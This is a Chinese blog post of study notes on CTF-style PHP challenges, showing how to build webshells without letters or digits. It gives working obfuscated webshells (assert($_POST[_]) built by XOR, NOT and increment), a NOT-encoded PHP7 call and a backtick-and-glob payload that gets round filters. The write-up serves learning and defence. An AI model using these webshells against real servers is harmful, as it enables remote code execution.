0x00 前言

本篇文章学习P神的两篇文章:

0x01 第一道题目

问题 · 禁用

问:如何编写一个不使用数字和字母的webshell,具现为如下代码:

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

思路 · 变换

题目的if语句和eval语句不仅有先后关系,还具有功能上的差异:if语句不能把shell的内容当做PHP代码执行,但是eval可以。这点差异是本文方法的基础。

本节方法的核心在于字符变换。如果我们的payload本身不具有字母和数字,但是在eval里可以变换成危险的字母和数字,那么就可以webshell

P神文章主要使用PHP5assert(),本文也一样。下面引用P神原文:

不过在此之前,我需要说说php5和7的差异。

php5中assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码。

但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。

下文为了方便起见,使用PHP5作为环境,PHP7相关的利用方法自己探索吧。

本人使用PHPstudy_prophp5.5.9nts

法一 · 异或

读者可以先去了解PHP的异或机制

PHP中,两个字符异或后得到一个字符。如下:

image-20240805103011379

我们可以通过选择一些不可见字符和符号异或出特定的字符,再拼接成攻击语句。P神给出了一个示例:

1
2
3
4
5
6
7
8
<?php
// $_='assert';
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
// $__='_POST';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
$___=$$__;
// assert($_POST[_]);
$_($___[_]);

因为其中存在很多不可打印字符,所以我用url编码表示了

执行结果如下:

image-20240805150403875

大家有没有想过一个问题:为什么这里一定要用assert(),或者不能把assert()换成eval()

这是因为payload前面的部分构造了$_POST[_],但是这仅仅只是字符串而不能发挥功能,所以要想办法把这个字符串当做PHP代码执行。eval()虽然可以实现这个功能,但是eval()本身不是函数而是语言结构,所以通过字符串拼接eval()没有意义。但是assert()PHP5(可能更高的版本也一样)是函数,可以通过字符串并执行$_POST[_]

法二 · 取反

与法一思路一致,都是通过字符变换实现webshell。不过这里采用取反的思想,并且在Hackbar上要手动编码一次。

image-20240805153545656

给出代码:

1
2
3
4
5
6
7
8
9
10
11
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

法三 · 递增

PHP++运算符效果如下(--运算符不具有):

image-20240805155057013

如果具有a字符和A字符,我们便可以构造出所有字母。因为PHP函数是大小写不敏感的,所以我们执行ASSERT($_POST[_])即可,便省去了获取小写a

怎么获取A字符呢?在PHP中,若强制连接数组和字符串,数组会被转换成字符串,其值为Array。如下图:

image-20240805160232810

但是这样仍然不够简单。思考深入一点,只要把数组当做字符串执行,数组就会被转换成字符串Array。看下图:

image-20240805160735999

通过上面的技巧,我们可以构造出所有大写字符。再通过字符拼接,我们可以得到ASSERT($_POST[_]);字符串。具体的webshellP神已经写好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

结果如下图:

image-20240805161423796

小结 · 感悟

本题三法的核心都是变换。这其实基于一个简单的逻辑:

webshell代码在执行时必须要字母和数字,虽然这些被禁用了,但是因为webshell核心语句在PHP环境里且执行前是可控的,那么我们可以在这个空档期进行变换,从而得到webshell的核心语句并顺利在PHP环境下执行。

上述的时期:PHP环境里且执行webshell核心语句前,这个时期其实就是下面代码的A,B,C···

1
eval'A,B,C···core statement'

本题最大的感悟就是思路要放开,而思路放开的基础就是想到问题的本质。我浅析一下本题:

题目在eval()前进行过滤,那我们就得在eval()里得到正常的webshell语句并执行。eval()允许多语句(几个分号的事情),这就为我们得到正常的webshell语句提供了很大的操作空间。至此,我们的问题就是如何得到正常的webshell语句,对此本题的三个方法都有讲述。至此问题解决。

就这么简单吗?有时并非如此。如果服务端检测到这么多的符号熵值,还是会怀疑。

评论 · 优质

image-20240805165529781

image-20240805165601374

image-20240805165627135

0x02 第二道题目

问题 · 升级

问题如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}

同上题相比,这题不仅限制了$_,还限制了payload的长度。

PHP7 · 轻松解决

在PHP7下,我们可以轻松通过取反操作实现webshell。这是因为PHP7前不允许($a)();PHP7修改了表达式执行的顺序,具体逻辑如下图:

30179e9c-7bf1-4b3c-8ccc-0c3929ff6204.1cf283b308af

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

综上所述,我们可以构造($a)();,其中把$a设置成phpinfo,完整的payload如下:

1
(~%8F%97%8F%96%91%99%90)();

根据PHP7的表达式执行逻辑,先取反,再执行phpinfo()。效果如下:

image-20240805221000735

PHP7下我们轻松解决了该问题

PHP5 · .glob

如果采用上面PHP7的方法,在PHP5中会报错:

image-20240806095757387

具体原因上面有谈到过,这里就不赘叙了,主要谈谈PHP5中该怎么解决题目。

这里P神的思考非常经典,我引用一段:

image-20240806100152952

以及P神的经验:

image-20240806100246885

这些都是学好安全的必备品质,这里不赘叙,言归正传。

使用反引号执行系统命令,不仅成功避免了使用字母和数字,还节约了很多字符。我们现在可以执行系统命令了,但是要怎么查看文件呢?

查看文件的指令由两部分组成:命令和文件路径。这两方面我们都得考虑,对此P神给出了两个提示:

image-20240806101246359

命令可以使用.,文件名使用glob通配符来过滤,如下示例:

1
. /???/??????

执行结果:

image-20240806101836009

我一开始想的是/etc/passwd,但是很明显有文件先匹配然后执行了,这说明上面指令有很多符合条件的文件,如下(还有很多文件):

image-20240806102046734

如此我们便无法读取到目标文件,必须对路径进行过滤。有两个方法可以帮助我们:

  • [^x]表示“这个位置不是x”,利用这一点可以过滤许多文件,但是要求这些文件路径有符号或者特殊字符,^可以用!代替
  • glob支持利用[0-9]来表示一个范围。比如[@-[]包含ASCII码在@[间(包括@[)的字符,我们可以成功过滤掉该位置是小写字符的文件。

但是对于本人在云服务器上的文件(如上图)并不能很好地契合实验效果,就不再展示了,推荐读者阅读P神的文章。

在文件路径适宜的情况下,通过以上的过滤可以实现读取文件,P神payload

1
?code=?><?=`. /???/????????[@-[]`;?>

结果也用P神的:

56de7887-0a22-4b06-9ccd-2951a4bdab4c.624e7ada5f87

至此第二种方法成功。

0x03 总结

学习P神的文章受益匪浅!P神看待问题从本质出发、思路广泛、研究细致、善读文档,值得吾辈学习。